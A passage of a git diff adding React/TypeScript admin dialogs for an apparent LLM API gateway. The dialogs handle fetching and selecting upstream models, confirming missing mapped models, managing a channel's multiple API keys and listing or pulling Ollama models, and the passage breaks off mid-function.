+  }, [fetchedModels, searchKeyword])
+
+  // Helper to check if a model is considered "existing" (in selected or redirect)
+  const isExistingModel = (model: string) =>
+    classificationSet.has(normalizeModelName(model))
+
+  // Separate new and existing models
+  const newModels = filteredModels.filter((m) => !isExistingModel(m))
+  const existingFilteredModels = filteredModels.filter((m) =>
+    isExistingModel(m)
+  )
+
+  const newModelsByCategory = categorizeModels(newModels)
+  const existingModelsByCategory = categorizeModels(existingFilteredModels)
+
+  // 厂商分类按 a-z 排序，Other 放最后，便于查找
+  const getSortedCategoryEntries = (
+    categories: Record<string, string[]>
+  ): [string, string[]][] =>
+    Object.entries(categories).sort(([a], [b]) => {
+      if (a === 'Other') return 1
+      if (b === 'Other') return -1
+      return a.localeCompare(b, undefined, { sensitivity: 'base' })
+    })
+
+  const toggleModel = (model: string) => {
+    setSelectedModels((prev) =>
+      prev.includes(model) ? prev.filter((m) => m !== model) : [...prev, model]
+    )
+  }
+
+  const toggleCategory = (categoryModels: string[], isChecked: boolean) => {
+    setSelectedModels((prev) => {
+      if (isChecked) {
+        const newSelected = [...prev]
+        categoryModels.forEach((model) => {
+          if (!newSelected.includes(model)) {
+            newSelected.push(model)
+          }
+        })
+        return newSelected
+      } else {
+        return prev.filter((m) => !categoryModels.includes(m))
+      }
+    })
+  }
+
+  const isCategorySelected = (categoryModels: string[]) => {
+    return categoryModels.every((m) => selectedModels.includes(m))
+  }
+
+  const renderModelCategory = (
+    categoryName: string,
+    categoryModels: string[]
+  ) => {
+    const allSelected = isCategorySelected(categoryModels)
+
+    return (
+      <Collapsible key={categoryName} defaultOpen>
+        <CollapsibleTrigger className='hover:bg-muted/50 flex w-full items-center justify-between rounded-lg border p-3'>
+          <div className='flex items-center gap-2'>
+            <ChevronDown className='h-4 w-4' />
+            <span className='font-medium'>
+              {categoryName} ({categoryModels.length})
+            </span>
+          </div>
+          <div className='flex items-center gap-2'>
+            <span className='text-muted-foreground text-sm'>
+              {categoryModels.filter((m) => selectedModels.includes(m)).length}{' '}
+              / {categoryModels.length} selected
+            </span>
+            <Checkbox
+              checked={allSelected}
+              onCheckedChange={(checked) =>
+                toggleCategory(categoryModels, !!checked)
+              }
+              onClick={(e) => e.stopPropagation()}
+            />
+          </div>
+        </CollapsibleTrigger>
+        <CollapsibleContent className='px-4 py-2'>
+          <div className='grid grid-cols-2 gap-2'>
+            {categoryModels.map((model) => (
+              <div key={model} className='flex items-center space-x-2'>
+                <Checkbox
+                  id={model}
+                  checked={selectedModels.includes(model)}
+                  onCheckedChange={() => toggleModel(model)}
+                />
+                <Label
+                  htmlFor={model}
+                  className='flex cursor-pointer items-center gap-1.5 text-sm font-normal'
+                >
+                  <span>{model}</span>
+                  {redirectOnlySet.has(normalizeModelName(model)) && (
+                    <Tooltip>
+                      <TooltipTrigger asChild>
+                        <Info className='h-3.5 w-3.5 text-amber-500' />
+                      </TooltipTrigger>
+                      <TooltipContent>
+                        {t('From model redirect, not yet added to models list')}
+                      </TooltipContent>
+                    </Tooltip>
+                  )}
+                </Label>
+              </div>
+            ))}
+          </div>
+        </CollapsibleContent>
+      </Collapsible>
+    )
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={handleClose}>
+      <DialogContent className='max-w-3xl'>
+        <DialogHeader>
+          <DialogTitle>{t('Fetch Models')}</DialogTitle>
+          <DialogDescription>
+            {t('Fetch available models for:')}{' '}
+            <strong>{currentRow?.name}</strong>
+          </DialogDescription>
+        </DialogHeader>
+
+        {!currentRow ? (
+          <div className='text-muted-foreground py-8 text-center'>
+            {t('No channel selected')}
+          </div>
+        ) : isFetching ? (
+          <div className='flex items-center justify-center py-12'>
+            <Loader2 className='text-muted-foreground h-8 w-8 animate-spin' />
+          </div>
+        ) : fetchedModels.length === 0 && removedModels.length === 0 ? (
+          <div className='text-muted-foreground py-8 text-center'>
+            <p>{t('No models fetched yet.')}</p>
+            <Button
+              className='mt-4'
+              onClick={handleFetchModels}
+              disabled={isFetching}
+            >
+              {t('Fetch Models')}
+            </Button>
+          </div>
+        ) : (
+          <>
+            <div className='space-y-4'>
+              {/* Search Bar */}
+              <div className='relative'>
+                <Search className='text-muted-foreground absolute top-1/2 left-3 h-4 w-4 -translate-y-1/2' />
+                <Input
+                  placeholder={t('Search models...')}
+                  value={searchKeyword}
+                  onChange={(e) => setSearchKeyword(e.target.value)}
+                  className='pl-9'
+                />
+              </div>
+
+              {/* Tabs for New vs Existing vs Removed */}
+              <Tabs
+                key={`${currentRow?.id}-${fetchedModels.length}-${removedModels.length}`}
+                defaultValue={
+                  newModels.length > 0
+                    ? 'new'
+                    : removedModels.length > 0
+                      ? 'removed'
+                      : 'existing'
+                }
+              >
+                <TabsList
+                  className={`grid w-full ${removedModels.length > 0 ? 'grid-cols-3' : 'grid-cols-2'}`}
+                >
+                  <TabsTrigger value='new' disabled={newModels.length === 0}>
+                    {t('New Models ({{count}})', { count: newModels.length })}
+                  </TabsTrigger>
+                  <TabsTrigger
+                    value='existing'
+                    disabled={existingFilteredModels.length === 0}
+                  >
+                    {t('Existing Models ({{count}})', {
+                      count: existingFilteredModels.length,
+                    })}
+                  </TabsTrigger>
+                  {removedModels.length > 0 && (
+                    <TabsTrigger value='removed'>
+                      {t('Removed Models ({{count}})', {
+                        count: removedModels.length,
+                      })}
+                    </TabsTrigger>
+                  )}
+                </TabsList>
+
+                <TabsContent
+                  value='new'
+                  className='max-h-96 space-y-2 overflow-y-auto'
+                >
+                  {getSortedCategoryEntries(newModelsByCategory).map(
+                    ([category, models]) =>
+                      renderModelCategory(category, models)
+                  )}
+                </TabsContent>
+
+                <TabsContent
+                  value='existing'
+                  className='max-h-96 space-y-2 overflow-y-auto'
+                >
+                  {getSortedCategoryEntries(existingModelsByCategory).map(
+                    ([category, models]) =>
+                      renderModelCategory(category, models)
+                  )}
+                </TabsContent>
+
+                {removedModels.length > 0 && (
+                  <TabsContent
+                    value='removed'
+                    className='max-h-96 space-y-2 overflow-y-auto'
+                  >
+                    <p className='text-muted-foreground text-xs'>
+                      {t(
+                        'These models are still in your selection but were not returned by the upstream listing. Entries that are only model_mapping source aliases are omitted. Toggle to adjust before saving.'
+                      )}
+                    </p>
+                    {renderModelCategory(t('Removed'), removedModels)}
+                  </TabsContent>
+                )}
+              </Tabs>
+
+              {/* Selection Summary */}
+              <div className='bg-muted/50 rounded-lg border p-3 text-sm'>
+                {t('{{n}} model(s) selected', { n: selectedModels.length })}
+              </div>
+            </div>
+
+            <DialogFooter>
+              <Button
+                variant='outline'
+                onClick={handleClose}
+                disabled={isSaving}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button onClick={handleSave} disabled={isSaving}>
+                {isSaving && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+                {isSaving ? t('Saving...') : t('Save Models')}
+              </Button>
+            </DialogFooter>
+          </>
+        )}
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/missing-models-confirmation-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/missing-models-confirmation-dialog.tsx
new file mode 100644
index 0000000..9eb9b01
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/missing-models-confirmation-dialog.tsx
@@ -0,0 +1,84 @@
+import { useTranslation } from 'react-i18next'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+
+export type MissingModelsAction = 'cancel' | 'submit' | 'add'
+
+type MissingModelsConfirmationDialogProps = {
+  open: boolean
+  missingModels: string[]
+  onConfirm: (action: MissingModelsAction) => void
+  onOpenChange?: (open: boolean) => void
+}
+
+/**
+ * Confirmation dialog shown when models in model_mapping are missing from the models list
+ * Provides three options:
+ * 1. Cancel - Go back to edit
+ * 2. Submit - Submit anyway without adding missing models
+ * 3. Add - Automatically add missing models and submit
+ */
+export function MissingModelsConfirmationDialog({
+  open,
+  missingModels,
+  onConfirm,
+  onOpenChange,
+}: MissingModelsConfirmationDialogProps) {
+  const { t } = useTranslation()
+
+  const handleOpenChange = (newOpen: boolean) => {
+    if (!newOpen) {
+      onConfirm('cancel')
+    }
+    onOpenChange?.(newOpen)
+  }
+
+  return (
+    <AlertDialog open={open} onOpenChange={handleOpenChange}>
+      <AlertDialogContent>
+        <AlertDialogHeader>
+          <AlertDialogTitle>
+            {t('Models not in list, may fail to invoke')}
+          </AlertDialogTitle>
+          <AlertDialogDescription asChild>
+            <div className='space-y-3 text-sm'>
+              <div>
+                {t(
+                  'The following models in the model redirect have not been added to the "Models" list and may fail during invocation due to missing available models:'
+                )}
+              </div>
+              <div className='rounded-md bg-red-50 p-2 font-mono text-xs break-all text-red-600 dark:bg-red-950/50 dark:text-red-400'>
+                {missingModels.join(', ')}
+              </div>
+              <div>
+                {t(
+                  'You can manually add them in "Custom Model Names", click "Fill" and then submit, or use the operations below to handle automatically.'
+                )}
+              </div>
+            </div>
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter className='flex-col gap-2 sm:flex-row'>
+          <AlertDialogCancel onClick={() => onConfirm('cancel')}>
+            {t('Go back and edit')}
+          </AlertDialogCancel>
+          <Button variant='secondary' onClick={() => onConfirm('submit')}>
+            {t('Submit directly')}
+          </Button>
+          <AlertDialogAction onClick={() => onConfirm('add')}>
+            {t('Add and submit')}
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/multi-key-manage-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/multi-key-manage-dialog.tsx
new file mode 100644
index 0000000..f29fe0b
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/multi-key-manage-dialog.tsx
@@ -0,0 +1,423 @@
+import { useState, useEffect } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { Loader2, RefreshCw, Trash2, Power, PowerOff } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { StatusBadge } from '@/components/status-badge'
+import {
+  getMultiKeyStatus,
+  enableMultiKey,
+  disableMultiKey,
+  deleteMultiKey,
+  enableAllMultiKeys,
+  disableAllMultiKeys,
+  deleteDisabledMultiKeys,
+} from '../../api'
+import { MULTI_KEY_FILTER_OPTIONS } from '../../constants'
+import {
+  channelsQueryKeys,
+  formatTimestamp,
+  getMultiKeyStatusConfig,
+  getMultiKeyConfirmMessage,
+  isDestructiveAction,
+} from '../../lib'
+import type { KeyStatus, MultiKeyConfirmAction } from '../../types'
+import { useChannels } from '../channels-provider'
+import { StatisticsCard } from './multi-key-statistics-card'
+import { MultiKeyTableRowActions } from './multi-key-table-row-actions'
+
+type MultiKeyManageDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+export function MultiKeyManageDialog({
+  open,
+  onOpenChange,
+}: MultiKeyManageDialogProps) {
+  const { t } = useTranslation()
+  const { currentRow } = useChannels()
+  const queryClient = useQueryClient()
+
+  // Data state
+  const [isLoading, setIsLoading] = useState(false)
+  const [keys, setKeys] = useState<KeyStatus[]>([])
+  const [currentPage, setCurrentPage] = useState(1)
+  const [pageSize, setPageSize] = useState(10)
+  const [total, setTotal] = useState(0)
+  const [totalPages, setTotalPages] = useState(0)
+  const [enabledCount, setEnabledCount] = useState(0)
+  const [manualDisabledCount, setManualDisabledCount] = useState(0)
+  const [autoDisabledCount, setAutoDisabledCount] = useState(0)
+
+  // UI state
+  const [statusFilter, setStatusFilter] = useState<number | null>(null)
+  const [confirmAction, setConfirmAction] =
+    useState<MultiKeyConfirmAction | null>(null)
+  const [isPerformingAction, setIsPerformingAction] = useState(false)
+
+  // Reset and load data when dialog opens
+  useEffect(() => {
+    if (open && currentRow) {
+      setCurrentPage(1)
+      setStatusFilter(null)
+      loadKeyStatus(1, pageSize, null)
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [open, currentRow?.id])
+
+  const loadKeyStatus = async (
+    page: number = currentPage,
+    size: number = pageSize,
+    status: number | null = statusFilter
+  ) => {
+    if (!currentRow) return
+
+    setIsLoading(true)
+    try {
+      const response = await getMultiKeyStatus(
+        currentRow.id,
+        page,
+        size,
+        status === null ? undefined : status
+      )
+
+      if (response.success && response.data) {
+        setKeys(response.data.keys || [])
+        setTotal(response.data.total || 0)
+        setCurrentPage(response.data.page || 1)
+        setPageSize(response.data.page_size || 10)
+        setTotalPages(response.data.total_pages || 0)
+        setEnabledCount(response.data.enabled_count || 0)
+        setManualDisabledCount(response.data.manual_disabled_count || 0)
+        setAutoDisabledCount(response.data.auto_disabled_count || 0)
+      }
+    } catch (error: unknown) {
+      toast.error(
+        error instanceof Error ? error.message : 'Failed to load key status'
+      )
+    } finally {
+      setIsLoading(false)
+    }
+  }
+
+  const handleStatusFilterChange = (value: string) => {
+    const newFilter = value === 'all' ? null : parseInt(value)
+    setStatusFilter(newFilter)
+    setCurrentPage(1)
+    loadKeyStatus(1, pageSize, newFilter)
+  }
+
+  const handlePageChange = (newPage: number) => {
+    setCurrentPage(newPage)
+    loadKeyStatus(newPage, pageSize)
+  }
+
+  const performAction = async () => {
+    if (!confirmAction || !currentRow) return
+
+    setIsPerformingAction(true)
+    try {
+      const { type, keyIndex } = confirmAction
+      let response
+
+      // Execute the appropriate action
+      if (type === 'enable' && keyIndex !== undefined) {
+        response = await enableMultiKey(currentRow.id, keyIndex)
+      } else if (type === 'disable' && keyIndex !== undefined) {
+        response = await disableMultiKey(currentRow.id, keyIndex)
+      } else if (type === 'delete' && keyIndex !== undefined) {
+        response = await deleteMultiKey(currentRow.id, keyIndex)
+      } else if (type === 'enable-all') {
+        response = await enableAllMultiKeys(currentRow.id)
+      } else if (type === 'disable-all') {
+        response = await disableAllMultiKeys(currentRow.id)
+      } else if (type === 'delete-disabled') {
+        response = await deleteDisabledMultiKeys(currentRow.id)
+      }
+
+      if (response?.success) {
+        toast.success(response.message || 'Operation successful')
+        queryClient.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+
+        // Reload data - reset to page 1 for bulk actions
+        const isBulkAction = type.includes('all') || type === 'delete-disabled'
+        if (isBulkAction) {
+          setCurrentPage(1)
+          loadKeyStatus(1, pageSize)
+        } else {
+          loadKeyStatus(currentPage, pageSize)
+        }
+      } else {
+        toast.error(response?.message || 'Operation failed')
+      }
+    } catch (error: unknown) {
+      toast.error(error instanceof Error ? error.message : 'Operation failed')
+    } finally {
+      setIsPerformingAction(false)
+      setConfirmAction(null)
+    }
+  }
+
+  const renderStatusBadge = (status: number) => {
+    const config = getMultiKeyStatusConfig(status)
+    return (
+      <StatusBadge
+        label={t(config.label)}
+        variant={config.variant}
+        showDot
+        copyable={false}
+      />
+    )
+  }
+
+  const formatKeyTimestamp = (timestamp?: number) => {
+    if (!timestamp) return '-'
+    return formatTimestamp(timestamp)
+  }
+
+  if (!currentRow) return null
+
+  return (
+    <>
+      <Dialog open={open} onOpenChange={onOpenChange}>
+        <DialogContent className='flex max-h-[90vh] max-w-5xl flex-col'>
+          <DialogHeader>
+            <DialogTitle className='flex items-center gap-2'>
+              {t('Multi-Key Management')}
+              <StatusBadge
+                label={currentRow.name}
+                variant='neutral'
+                copyable={false}
+              />
+              {currentRow.channel_info?.multi_key_mode && (
+                <StatusBadge
+                  label={
+                    currentRow.channel_info.multi_key_mode === 'random'
+                      ? t('Random')
+                      : t('Polling')
+                  }
+                  variant='neutral'
+                  copyable={false}
+                />
+              )}
+            </DialogTitle>
+            <DialogDescription>
+              {t('Manage multi-key status and configuration for this channel')}
+            </DialogDescription>
+          </DialogHeader>
+
+          <div className='flex min-h-0 flex-1 flex-col space-y-4 overflow-hidden'>
+            {/* Statistics */}
+            <div className='grid shrink-0 grid-cols-3 gap-3'>
+              <StatisticsCard
+                label={t('Enabled')}
+                count={enabledCount}
+                total={total}
+              />
+              <StatisticsCard
+                label={t('Manual Disabled')}
+                count={manualDisabledCount}
+                total={total}
+              />
+              <StatisticsCard
+                label={t('Auto Disabled')}
+                count={autoDisabledCount}
+                total={total}
+              />
+            </div>
+
+            <Separator className='shrink-0' />
+
+            {/* Toolbar */}
+            <div className='flex shrink-0 items-center justify-between'>
+              <Select
+                value={statusFilter === null ? 'all' : statusFilter.toString()}
+                onValueChange={handleStatusFilterChange}
+              >
+                <SelectTrigger className='w-40'>
+                  <SelectValue placeholder={t('All Status')} />
+                </SelectTrigger>
+                <SelectContent>
+                  {MULTI_KEY_FILTER_OPTIONS.map((option) => (
+                    <SelectItem key={option.value} value={option.value}>
+                      {t(option.label)}
+                    </SelectItem>
+                  ))}
+                </SelectContent>
+              </Select>
+
+              <div className='flex items-center gap-2'>
+                <Button
+                  variant='outline'
+                  size='sm'
+                  onClick={() => loadKeyStatus()}
+                  disabled={isLoading}
+                >
+                  <RefreshCw className='h-4 w-4' />
+                </Button>
+
+                {manualDisabledCount + autoDisabledCount > 0 && (
+                  <Button
+                    variant='default'
+                    size='sm'
+                    onClick={() => setConfirmAction({ type: 'enable-all' })}
+                  >
+                    <Power className='mr-2 h-4 w-4' />
+                    {t('Enable All')}
+                  </Button>
+                )}
+
+                {enabledCount > 0 && (
+                  <Button
+                    variant='destructive'
+                    size='sm'
+                    onClick={() => setConfirmAction({ type: 'disable-all' })}
+                  >
+                    <PowerOff className='mr-2 h-4 w-4' />
+                    {t('Disable All')}
+                  </Button>
+                )}
+
+                {autoDisabledCount > 0 && (
+                  <Button
+                    variant='destructive'
+                    size='sm'
+                    onClick={() =>
+                      setConfirmAction({ type: 'delete-disabled' })
+                    }
+                  >
+                    <Trash2 className='mr-2 h-4 w-4' />
+                    {t('Delete Auto-Disabled')}
+                  </Button>
+                )}
+              </div>
+            </div>
+
+            {/* Table */}
+            <div className='min-h-0 flex-1 overflow-auto rounded-md border'>
+              {isLoading ? (
+                <div className='flex items-center justify-center py-12'>
+                  <Loader2 className='text-muted-foreground h-8 w-8 animate-spin' />
+                </div>
+              ) : keys.length === 0 ? (
+                <div className='text-muted-foreground py-12 text-center'>
+                  {t('No keys found')}
+                </div>
+              ) : (
+                <div className='min-w-[800px]'>
+                  <Table>
+                    <TableHeader>
+                      <TableRow>
+                        <TableHead className='w-20'>{t('Index')}</TableHead>
+                        <TableHead className='w-32'>{t('Status')}</TableHead>
+                        <TableHead className='min-w-[200px]'>
+                          {t('Disabled Reason')}
+                        </TableHead>
+                        <TableHead className='w-44'>
+                          {t('Disabled Time')}
+                        </TableHead>
+                        <TableHead className='w-44 text-right'>
+                          {t('Actions')}
+                        </TableHead>
+                      </TableRow>
+                    </TableHeader>
+                    <TableBody>
+                      {keys.map((key) => (
+                        <TableRow key={key.index}>
+                          <TableCell className='font-mono text-sm'>
+                            #{key.index + 1}
+                          </TableCell>
+                          <TableCell>{renderStatusBadge(key.status)}</TableCell>
+                          <TableCell className='max-w-xs truncate text-sm'>
+                            {key.reason || '-'}
+                          </TableCell>
+                          <TableCell className='text-muted-foreground text-sm'>
+                            {formatKeyTimestamp(key.disabled_time)}
+                          </TableCell>
+                          <TableCell>
+                            <MultiKeyTableRowActions
+                              keyIndex={key.index}
+                              status={key.status}
+                              onAction={setConfirmAction}
+                            />
+                          </TableCell>
+                        </TableRow>
+                      ))}
+                    </TableBody>
+                  </Table>
+                </div>
+              )}
+            </div>
+
+            {/* Pagination */}
+            {totalPages > 1 && (
+              <div className='flex shrink-0 items-center justify-between'>
+                <div className='text-muted-foreground text-sm'>
+                  {t('Page {{current}} of {{total}}', {
+                    current: currentPage,
+                    total: totalPages,
+                  })}
+                </div>
+                <div className='flex gap-2'>
+                  <Button
+                    variant='outline'
+                    size='sm'
+                    onClick={() => handlePageChange(currentPage - 1)}
+                    disabled={currentPage === 1 || isLoading}
+                  >
+                    {t('Previous')}
+                  </Button>
+                  <Button
+                    variant='outline'
+                    size='sm'
+                    onClick={() => handlePageChange(currentPage + 1)}
+                    disabled={currentPage >= totalPages || isLoading}
+                  >
+                    {t('Next')}
+                  </Button>
+                </div>
+              </div>
+            )}
+          </div>
+        </DialogContent>
+      </Dialog>
+
+      {/* Confirmation Dialog */}
+      <ConfirmDialog
+        open={confirmAction !== null}
+        onOpenChange={(open) => !open && setConfirmAction(null)}
+        title={t('Confirm Action')}
+        desc={t(getMultiKeyConfirmMessage(confirmAction))}
+        destructive={isDestructiveAction(confirmAction)}
+        isLoading={isPerformingAction}
+        handleConfirm={performAction}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/multi-key-statistics-card.tsx b/new-api/web/default/src/features/channels/components/dialogs/multi-key-statistics-card.tsx
new file mode 100644
index 0000000..20c92b8
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/multi-key-statistics-card.tsx
@@ -0,0 +1,24 @@
+import { useTranslation } from 'react-i18next'
+
+type StatisticsCardProps = {
+  label: string
+  count: number
+  total: number
+}
+
+export function StatisticsCard({ label, count, total }: StatisticsCardProps) {
+  const { t } = useTranslation()
+  return (
+    <div className='rounded-md border p-3'>
+      <div className='text-muted-foreground mb-1 text-xs font-medium'>
+        {label}
+      </div>
+      <div className='flex items-baseline gap-2'>
+        <span className='text-foreground text-2xl font-semibold'>{count}</span>
+        <span className='text-muted-foreground text-sm'>
+          {t('of')} {total}
+        </span>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/multi-key-table-row-actions.tsx b/new-api/web/default/src/features/channels/components/dialogs/multi-key-table-row-actions.tsx
new file mode 100644
index 0000000..fc202ab
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/multi-key-table-row-actions.tsx
@@ -0,0 +1,47 @@
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import type { MultiKeyConfirmAction } from '../../types'
+
+type MultiKeyTableRowActionsProps = {
+  keyIndex: number
+  status: number
+  onAction: (action: MultiKeyConfirmAction) => void
+}
+
+export function MultiKeyTableRowActions({
+  keyIndex,
+  status,
+  onAction,
+}: MultiKeyTableRowActionsProps) {
+  const { t } = useTranslation()
+  const isEnabled = status === 1
+
+  return (
+    <div className='flex justify-end gap-2'>
+      {isEnabled ? (
+        <Button
+          variant='outline'
+          size='sm'
+          onClick={() => onAction({ type: 'disable', keyIndex })}
+        >
+          {t('Disable')}
+        </Button>
+      ) : (
+        <Button
+          variant='outline'
+          size='sm'
+          onClick={() => onAction({ type: 'enable', keyIndex })}
+        >
+          {t('Enable')}
+        </Button>
+      )}
+      <Button
+        variant='destructive'
+        size='sm'
+        onClick={() => onAction({ type: 'delete', keyIndex })}
+      >
+        {t('Delete')}
+      </Button>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/ollama-models-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/ollama-models-dialog.tsx
new file mode 100644
index 0000000..043f3a9
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/ollama-models-dialog.tsx
@@ -0,0 +1,588 @@
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { Loader2, RefreshCw, Trash2, Download, Search } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { getCommonHeaders } from '@/lib/api'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Progress } from '@/components/ui/progress'
+import { Separator } from '@/components/ui/separator'
+import {
+  deleteOllamaModel,
+  fetchModels as fetchModelsFromEndpoint,
+  fetchUpstreamModels,
+  updateChannel,
+} from '../../api'
+import { channelsQueryKeys, parseModelsString } from '../../lib'
+import {
+  formatBytes,
+  normalizeOllamaModels,
+  resolveOllamaBaseUrl,
+  type OllamaModel,
+  type PullProgress,
+} from '../../lib/ollama-utils'
+import { useChannels } from '../channels-provider'
+
+const CHANNEL_TYPE_OLLAMA = 4
+
+export function OllamaModelsDialog({
+  open,
+  onOpenChange,
+}: {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const { currentRow } = useChannels()
+
+  const isOllamaChannel = currentRow?.type === CHANNEL_TYPE_OLLAMA
+  const channelId = currentRow?.id
+
+  const [isFetching, setIsFetching] = useState(false)
+  const [models, setModels] = useState<OllamaModel[]>([])
+  const [selected, setSelected] = useState<string[]>([])
+  const [search, setSearch] = useState('')
+
+  const [pullName, setPullName] = useState('')
+  const [isPulling, setIsPulling] = useState(false)
+  const [pullProgress, setPullProgress] = useState<PullProgress | null>(null)
+  const pullAbortRef = useRef<AbortController | null>(null)
+
+  const [deleteOpen, setDeleteOpen] = useState(false)
+  const [deleteTarget, setDeleteTarget] = useState<string | null>(null)
+  const [isDeleting, setIsDeleting] = useState(false)
+
+  const filteredModels = useMemo(() => {
+    if (!search.trim()) return models
+    const keyword = search.trim().toLowerCase()
+    return models.filter((m) => m.id.toLowerCase().includes(keyword))
+  }, [models, search])
+
+  const existingModels = useMemo(
+    () => parseModelsString(currentRow?.models ?? ''),
+    [currentRow?.models]
+  )
+
+  useEffect(() => {
+    if (!open) {
+      setModels([])
+      setSelected([])
+      setSearch('')
+      setPullName('')
+      setIsPulling(false)
+      setPullProgress(null)
+      pullAbortRef.current?.abort()
+      pullAbortRef.current = null
+      return
+    }
+
+    if (open && isOllamaChannel && channelId) {
+      void fetchOllamaModels()
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [open, isOllamaChannel, channelId])
+
+  const fetchOllamaModels = useCallback(async () => {
+    if (!channelId) return
+    setIsFetching(true)
+    try {
+      let normalized: OllamaModel[] = []
+      let lastErr = ''
+
+      // 1) Prefer live fetch for Ollama if base_url is set (more accurate / supports unsaved changes)
+      const baseUrl = resolveOllamaBaseUrl(currentRow ?? null)
+      if (isOllamaChannel && baseUrl) {
+        try {
+          const payloadLive = await fetchModelsFromEndpoint({
+            base_url: baseUrl,
+            type: CHANNEL_TYPE_OLLAMA,
+            key: typeof currentRow?.key === 'string' ? currentRow.key : '',
+          })
+          if (payloadLive?.success) {
+            normalized = normalizeOllamaModels(payloadLive.data)
+          } else if (payloadLive?.message) {
+            lastErr = String(payloadLive.message)
+          }
+        } catch (err: unknown) {
+          lastErr = err instanceof Error ? err.message : ''
+        }
+      }
+
+      // 2) Fallback to server-side fetch by channelId
+      if (!normalized.length) {
+        const payload = await fetchUpstreamModels(Number(channelId))
+        if (payload?.success) {
+          normalized = normalizeOllamaModels(payload.data)
+          lastErr = ''
+        } else {
+          lastErr = String(payload?.message || '')
+        }
+      }
+
+      if (!normalized.length && lastErr) {
+        toast.error(lastErr || t('Failed to fetch models'))
+      }
+
+      setModels(normalized)
+      setSelected((prev) => {
+        if (!prev.length) return normalized.map((m) => m.id)
+        const stillAvailable = prev.filter((id) =>
+          normalized.some((m) => m.id === id)
+        )
+        return stillAvailable.length
+          ? stillAvailable
+          : normalized.map((m) => m.id)
+      })
+    } catch (err: unknown) {
+      const msg = err instanceof Error ? err.message : undefined
+      toast.error(msg || t('Failed to fetch models'))
+      setModels([])
+    } finally {
+      setIsFetching(false)
+    }
+  }, [channelId, currentRow, isOllamaChannel, t])
+
+  const toggleSelected = (modelId: string, checked: boolean) => {
+    setSelected((prev) => {
+      if (checked) return prev.includes(modelId) ? prev : [...prev, modelId]
+      return prev.filter((id) => id !== modelId)
+    })
+  }
+
+  const selectAllFiltered = () => {
+    setSelected((prev) => {
+      const next = new Set(prev)
+      filteredModels.forEach((m) => next.add(m.id))
+      return Array.from(next)
+    })
+  }
+
+  const clearSelection = () => setSelected([])
+
+  const applySelection = async (mode: 'append' | 'replace') => {
+    if (!currentRow) return
+    if (!selected.length) {
+      toast.info(t('No models selected'))
+      return
+    }
+
+    const next =
+      mode === 'replace'
+        ? Array.from(new Set(selected))
+        : Array.from(new Set([...existingModels, ...selected]))
+
+    const res = await updateChannel(currentRow.id, { models: next.join(',') })
+    if (res.success) {
+      toast.success(
+        mode === 'replace'
+          ? t('Models updated successfully')
+          : t('Models appended successfully')
+      )
+      queryClient.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+    }
+  }
+
+  const pullModel = async () => {
+    if (!channelId) return
+    if (!pullName.trim()) {
+      toast.error(t('Please enter model name'))
+      return
+    }
+
+    if (!resolveOllamaBaseUrl(currentRow)) {
+      toast.error(t('Please set Ollama API Base URL first'))
+      return
+    }
+
+    pullAbortRef.current?.abort()
+    const controller = new AbortController()
+    pullAbortRef.current = controller
+
+    setIsPulling(true)
+    setPullProgress({ status: 'starting', completed: 0, total: 0 })
+
+    try {
